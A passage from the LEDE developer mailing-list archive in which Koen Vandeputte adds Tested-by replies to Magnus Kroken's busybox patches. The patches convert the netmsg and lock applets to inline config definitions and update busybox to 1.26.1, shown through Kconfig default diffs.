> and build definitions related to  an applet to its .c file.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
>   .../busybox/patches/210-add_netmsg_util.patch      | 54 ++++++----------------
>   1 file changed, 15 insertions(+), 39 deletions(-)
>
> diff --git a/package/utils/busybox/patches/210-add_netmsg_util.patch b/package/utils/busybox/patches/210-add_netmsg_util.patch
> index 2382698..d7b2ae7 100644
> --- a/package/utils/busybox/patches/210-add_netmsg_util.patch
> +++ b/package/utils/busybox/patches/210-add_netmsg_util.patch
> @@ -1,46 +1,25 @@
> ---- a/include/applets.src.h
> -+++ b/include/applets.src.h
> -@@ -229,6 +229,7 @@ IF_MT(APPLET(mt, BB_DIR_BIN, BB_SUID_DRO
> - IF_MV(APPLET(mv, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NAMEIF(APPLET(nameif, BB_DIR_SBIN, BB_SUID_DROP))
> - IF_NC(APPLET(nc, BB_DIR_USR_BIN, BB_SUID_DROP))
> -+IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
> - IF_NETSTAT(APPLET(netstat, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NICE(APPLET(nice, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NOHUP(APPLET(nohup, BB_DIR_USR_BIN, BB_SUID_DROP))
> ---- a/networking/Config.src
> -+++ b/networking/Config.src
> -@@ -639,6 +639,12 @@ config FEATURE_IPCALC_LONG_OPTIONS
> - 	help
> - 	  Support long options for the ipcalc applet.
> -
> -+config NETMSG
> -+	bool "netmsg"
> -+	default n
> -+	help
> -+	  simple program for sending udp broadcast messages
> -+
> - config NETSTAT
> - 	bool "netstat"
> - 	default y
> ---- a/networking/Kbuild.src
> -+++ b/networking/Kbuild.src
> -@@ -27,6 +27,7 @@ lib-$(CONFIG_IP)           += ip.o
> - lib-$(CONFIG_IPCALC)       += ipcalc.o
> - lib-$(CONFIG_NAMEIF)       += nameif.o
> - lib-$(CONFIG_NC)           += nc.o
> -+lib-$(CONFIG_NETMSG)       += netmsg.o
> - lib-$(CONFIG_NETSTAT)      += netstat.o
> - lib-$(CONFIG_NSLOOKUP)     += nslookup.o
> - lib-$(CONFIG_NTPD)         += ntpd.o
>   --- /dev/null
>   +++ b/networking/netmsg.c
> -@@ -0,0 +1,65 @@
> +@@ -0,0 +1,76 @@
>   +/*
>   + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
>   + *
>   + * This is free software, licensed under the GNU General Public License v2.
>   + */
> ++
> ++//config:config NETMSG
> ++//config:	bool "netmsg"
> ++//config:	default n
> ++//config:	help
> ++//config:	  simple program for sending udp broadcast messages
> ++
> ++//applet:IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
> ++
> ++//kbuild:lib-$(CONFIG_NETMSG) += netmsg.o
> ++
> ++//usage:#define netmsg_trivial_usage NOUSAGE_STR
> ++//usage:#define netmsg_full_usage ""
> ++
>   +#include <sys/types.h>
>   +#include <sys/socket.h>
>   +#include <netinet/in.h>
> @@ -50,9 +29,6 @@
>   +#include <string.h>
>   +#include "busybox.h"
>   +
> -+//usage:#define netmsg_trivial_usage NOUSAGE_STR
> -+//usage:#define netmsg_full_usage ""
> -+
>   +#ifndef CONFIG_NETMSG
>   +int main(int argc, char **argv)
>   +#else

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From koen.vandeputte at ncentric.com  Thu Jan  5 02:02:38 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Thu, 5 Jan 2017 11:02:38 +0100
Subject: [LEDE-DEV] [PATCH RFC 2/3] busybox: convert lock applet to "new
 style" applet definitions
In-Reply-To: <1483570493-18139-2-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1483570493-18139-2-git-send-email-mkroken@gmail.com>
Message-ID: <3b451c68-65a6-d9dc-cae4-b17dc7f321fd@ncentric.com>

Compile & run-tested on cns3xxx

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>

On 2017-01-04 23:54, Magnus Kroken wrote:
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
>   .../utils/busybox/patches/220-add_lock_util.patch  | 54 ++++++----------------
>   1 file changed, 15 insertions(+), 39 deletions(-)
>
> diff --git a/package/utils/busybox/patches/220-add_lock_util.patch b/package/utils/busybox/patches/220-add_lock_util.patch
> index c60f5db..4e46b74 100644
> --- a/package/utils/busybox/patches/220-add_lock_util.patch
> +++ b/package/utils/busybox/patches/220-add_lock_util.patch
> @@ -1,46 +1,25 @@
> ---- a/include/applets.src.h
> -+++ b/include/applets.src.h
> -@@ -196,6 +196,7 @@ IF_LN(APPLET_NOEXEC(ln, ln, BB_DIR_BIN,
> - IF_LOAD_POLICY(APPLET(load_policy, BB_DIR_USR_SBIN, BB_SUID_DROP))
> - IF_LOADFONT(APPLET(loadfont, BB_DIR_USR_SBIN, BB_SUID_DROP))
> - IF_LOADKMAP(APPLET(loadkmap, BB_DIR_SBIN, BB_SUID_DROP))
> -+IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
> - IF_LOGNAME(APPLET_NOFORK(logname, logname, BB_DIR_USR_BIN, BB_SUID_DROP, logname))
> - IF_LOSETUP(APPLET(losetup, BB_DIR_SBIN, BB_SUID_DROP))
> - IF_LS(APPLET_NOEXEC(ls, ls, BB_DIR_BIN, BB_SUID_DROP, ls))
> ---- a/miscutils/Config.src
> -+++ b/miscutils/Config.src
> -@@ -375,6 +375,12 @@ config FEATURE_HDPARM_HDIO_GETSET_DMA
> - 	help
> - 	  Enables the 'hdparm -d' option to get/set using_dma flag.
> -
> -+config LOCK
> -+	bool "lock"
> -+	default n
> -+	help
> -+	  Small utility for using locks in scripts
> -+
> - config MAKEDEVS
> - 	bool "makedevs"
> - 	default y
> ---- a/miscutils/Kbuild.src
> -+++ b/miscutils/Kbuild.src
> -@@ -33,6 +33,7 @@ lib-$(CONFIG_LAST)        += last.o
> - endif
> -
> - lib-$(CONFIG_LESS)        += less.o
> -+lib-$(CONFIG_LOCK)        += lock.o
> - lib-$(CONFIG_MAKEDEVS)    += makedevs.o
> - lib-$(CONFIG_MAN)         += man.o
> - lib-$(CONFIG_MICROCOM)    += microcom.o
>   --- /dev/null
>   +++ b/miscutils/lock.c
> -@@ -0,0 +1,144 @@
> +@@ -0,0 +1,155 @@
>   +/*
>   + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
>   + *
>   + * This is free software, licensed under the GNU General Public License v2.
>   + */
> ++
> ++//config:config LOCK
> ++//config:	bool "lock"
> ++//config:	default n
> ++//config:	help
> ++//config:	  Small utility for using locks in scripts
> ++
> ++//applet:IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
> ++
> ++//kbuild:lib-$(CONFIG_LOCK) += lock.o
> ++
> ++//usage:#define lock_trivial_usage NOUSAGE_STR
> ++//usage:#define lock_full_usage ""
> ++
>   +#include <sys/types.h>
>   +#include <sys/file.h>
>   +#include <sys/stat.h>
> @@ -50,9 +29,6 @@
>   +#include <stdio.h>
>   +#include "busybox.h"
>   +
> -+//usage:#define lock_trivial_usage NOUSAGE_STR
> -+//usage:#define lock_full_usage ""
> -+
>   +static int unlock = 0;
>   +static int shared = 0;
>   +static int waitonly = 0;

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From koen.vandeputte at ncentric.com  Thu Jan  5 02:02:50 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Thu, 5 Jan 2017 11:02:50 +0100
Subject: [LEDE-DEV] [PATCH RFC 3/3] busybox: update to 1.26.1
In-Reply-To: <1483570493-18139-3-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1483570493-18139-3-git-send-email-mkroken@gmail.com>
Message-ID: <2fc629d7-d4f0-0a60-970e-7aeeed66b79c@ncentric.com>

Compile & run-tested on cns3xxx

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>

On 2017-01-04 23:54, Magnus Kroken wrote:
> Refresh patches, delete patches that have been applied upstream.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
> Size comparison (.ipk):
> 204975 busybox_1.25.1-2_mips_24kc.ipk
> 204682 busybox_1.26.1-1_mips_24kc.ipk
>
> Compile-tested on mips/ar71xx and x86, runtime-tested on x86.
>
> As is obvious from the diffstat there are a lot of */Config.in updates, lots
> of symbols have moved around. It compiles and no issues are apparent from
> my testing, but I don't use many busybox features beyond what LEDE/LuCI
> makes use of on its own, so I'd appreciate some community feedback.
>
>   package/utils/busybox/Config-defaults.in           | 1229 ++++++++++----------
>   package/utils/busybox/Makefile                     |    6 +-
>   package/utils/busybox/config/Config.in             |  315 ++---
>   package/utils/busybox/config/archival/Config.in    |   78 +-
>   .../utils/busybox/config/console-tools/Config.in   |  103 +-
>   package/utils/busybox/config/coreutils/Config.in   |  603 +++++-----
>   package/utils/busybox/config/findutils/Config.in   |   24 +-
>   package/utils/busybox/config/init/Config.in        |   20 +-
>   package/utils/busybox/config/libbb/Config.in       |  162 +++
>   package/utils/busybox/config/mailutils/Config.in   |   18 +-
>   package/utils/busybox/config/miscutils/Config.in   |  615 +++++-----
>   package/utils/busybox/config/modutils/Config.in    |   73 +-
>   package/utils/busybox/config/networking/Config.in  |  643 +++++-----
>   .../busybox/config/networking/udhcp/Config.in      |    2 -
>   package/utils/busybox/config/procps/Config.in      |  264 ++---
>   package/utils/busybox/config/runit/Config.in       |    7 +
>   package/utils/busybox/config/selinux/Config.in     |   37 +-
>   package/utils/busybox/config/shell/Config.in       |  234 ++--
>   package/utils/busybox/config/sysklogd/Config.in    |    1 -
>   package/utils/busybox/config/util-linux/Config.in  |  598 +++++-----
>   .../busybox/config/util-linux/volume_id/Config.in  |    9 +
>   ...to_from-do-not-require-that-to-should-hav.patch |   37 -
>   .../busybox/patches/102-trylink_mktemp_fix.patch   |   20 -
>   .../patches/120-remove_uclibc_rpc_check.patch      |    2 +-
>   .../busybox/patches/200-udhcpc_reduce_msgs.patch   |    4 +-
>   .../patches/201-udhcpc_changed_ifindex.patch       |    2 +-
>   .../patches/203-udhcpc_renew_no_deconfig.patch     |    2 +-
>   .../utils/busybox/patches/240-telnetd_intr.patch   |    2 +-
>   .../utils/busybox/patches/250-date-k-flag.patch    |   12 +-
>   .../busybox/patches/302-netlink-alignment.patch    |  100 --
>   .../patches/303-ip-route-fix-high-table-ids.patch  |  486 --------
>   31 files changed, 2479 insertions(+), 3229 deletions(-)
>   delete mode 100644 package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
>   delete mode 100644 package/utils/busybox/patches/102-trylink_mktemp_fix.patch
>   delete mode 100644 package/utils/busybox/patches/302-netlink-alignment.patch
>   delete mode 100644 package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
>
> diff --git a/package/utils/busybox/Config-defaults.in b/package/utils/busybox/Config-defaults.in
> index 11cce03..3a52211 100644
> --- a/package/utils/busybox/Config-defaults.in
> +++ b/package/utils/busybox/Config-defaults.in
> @@ -16,15 +16,6 @@ config BUSYBOX_DEFAULT_USE_PORTABLE_CODE
>   config BUSYBOX_DEFAULT_PLATFORM_LINUX
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_SHOW_USAGE
>   	bool
>   	default y
> @@ -43,45 +34,9 @@ config BUSYBOX_DEFAULT_FEATURE_INSTALLER
>   config BUSYBOX_DEFAULT_INSTALL_NO_USR
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LOCALE_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SUBST_WCHAR
> -	int
> -	default 0
> -config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> -	int
> -	default 0
> -config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_PAM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_LONG_OPTS
>   	bool
>   	default y
> @@ -163,6 +118,30 @@ config BUSYBOX_DEFAULT_EXTRA_LDFLAGS
>   config BUSYBOX_DEFAULT_EXTRA_LDLIBS
>   	string
>   	default ""
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_PREFIX
> +	string
> +	default "./_install"
>   config BUSYBOX_DEFAULT_DEBUG
>   	bool
>   	default n
> @@ -187,34 +166,19 @@ config BUSYBOX_DEFAULT_DMALLOC
>   config BUSYBOX_DEFAULT_EFENCE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
> +config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
> +config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PREFIX
> -	string
> -	default "./_install"
> -config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_PASSWORD_MINLEN
> @@ -268,12 +232,48 @@ config BUSYBOX_DEFAULT_FEATURE_EDITING_FANCY_PROMPT
>   config BUSYBOX_DEFAULT_FEATURE_EDITING_ASK_TERMINAL
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_LOCALE_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SUBST_WCHAR
> +	int
> +	default 0
> +config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> +	int
> +	default 0
> +config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_VERBOSE_CP_MESSAGE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_COPYBUF_KB
>   	int
>   	default 4
> @@ -319,24 +319,36 @@ config BUSYBOX_DEFAULT_UNCOMPRESS
>   config BUSYBOX_DEFAULT_GUNZIP
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_ZCAT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_BUNZIP2
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_BZCAT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_UNLZMA
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +config BUSYBOX_DEFAULT_LZCAT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LZMA
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UNXZ
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_XZCAT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_XZ
>   	bool
>   	default n
> @@ -358,9 +370,6 @@ config BUSYBOX_DEFAULT_DPKG
>   config BUSYBOX_DEFAULT_DPKG_DEB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_GZIP
>   	bool
>   	default y
> @@ -376,6 +385,12 @@ config BUSYBOX_DEFAULT_FEATURE_GZIP_LEVELS
>   config BUSYBOX_DEFAULT_LZOP
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_UNLZOP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_LZOPCAT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
>   	bool
>   	default n
> @@ -427,9 +442,45 @@ config BUSYBOX_DEFAULT_UNZIP
>   config BUSYBOX_DEFAULT_BASENAME
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_CAL
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_CAT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_CATV
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CHGRP
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CHMOD
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CHOWN
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CHROOT
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CKSUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_COMM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CP
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CUT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_DATE
>   	bool
>   	default y
> @@ -457,168 +508,81 @@ config BUSYBOX_DEFAULT_FEATURE_DD_IBS_OBS
>   config BUSYBOX_DEFAULT_FEATURE_DD_STATUS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HOSTID
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ID
> +config BUSYBOX_DEFAULT_DF
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_GROUPS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHUF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_STAT
> +config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +config BUSYBOX_DEFAULT_DIRNAME
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	default y
> +config BUSYBOX_DEFAULT_DOS2UNIX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SYNC
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +config BUSYBOX_DEFAULT_UNIX2DOS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TEST
> +config BUSYBOX_DEFAULT_DU
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TEST_64
> +config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_TOUCH
> +config BUSYBOX_DEFAULT_ECHO
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_TR
> +config BUSYBOX_DEFAULT_ENV
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +config BUSYBOX_DEFAULT_EXPAND
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TRUNCATE
> +config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UNLINK
> +config BUSYBOX_DEFAULT_UNEXPAND
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BASE64
> +config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WHO
> +config BUSYBOX_DEFAULT_EXPR
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_USERS
> +	default y
> +config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_CAL
> +	default y
> +config BUSYBOX_DEFAULT_FALSE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_CATV
> +	default y
> +config BUSYBOX_DEFAULT_FOLD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_CHGRP
> +config BUSYBOX_DEFAULT_FSYNC
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CHMOD
> +config BUSYBOX_DEFAULT_HEAD
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CHOWN
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_HOSTID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_CHROOT
> +config BUSYBOX_DEFAULT_ID
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CKSUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_COMM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CP
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CUT
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_DF
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DIRNAME
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_DOS2UNIX
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNIX2DOS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DU
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_ECHO
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_ENV
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_EXPAND
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_EXPR
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FALSE
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FOLD
> +config BUSYBOX_DEFAULT_GROUPS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSYNC
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_HEAD
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_INSTALL
>   	bool
>   	default n
> @@ -661,6 +625,21 @@ config BUSYBOX_DEFAULT_FEATURE_LS_COLOR_IS_DEFAULT
>   config BUSYBOX_DEFAULT_MD5SUM
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_SHA1SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SHA256SUM
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_SHA512SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SHA3SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_MKDIR
>   	bool
>   	default y
> @@ -718,16 +697,7 @@ config BUSYBOX_DEFAULT_FEATURE_RMDIR_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_SEQ
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_SHA1SUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHA256SUM
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SHA512SUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHA3SUM
> +config BUSYBOX_DEFAULT_SHUF
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_SLEEP
> @@ -751,12 +721,27 @@ config BUSYBOX_DEFAULT_SPLIT
>   config BUSYBOX_DEFAULT_FEATURE_SPLIT_FANCY
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_STAT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_STTY
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_SUM
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SYNC
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TAC
>   	bool
>   	default n
> @@ -772,9 +757,42 @@ config BUSYBOX_DEFAULT_TEE
>   config BUSYBOX_DEFAULT_FEATURE_TEE_USE_BLOCK_IO
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_TEST
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TEST1
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TEST2
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TEST_64
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TOUCH
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TR
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TRUE
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_TRUNCATE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TTY
>   	bool
>   	default n
> @@ -784,21 +802,21 @@ config BUSYBOX_DEFAULT_UNAME
>   config BUSYBOX_DEFAULT_UNAME_OSNAME
>   	string
>   	default "GNU/Linux"
> -config BUSYBOX_DEFAULT_UNEXPAND
> -	bool
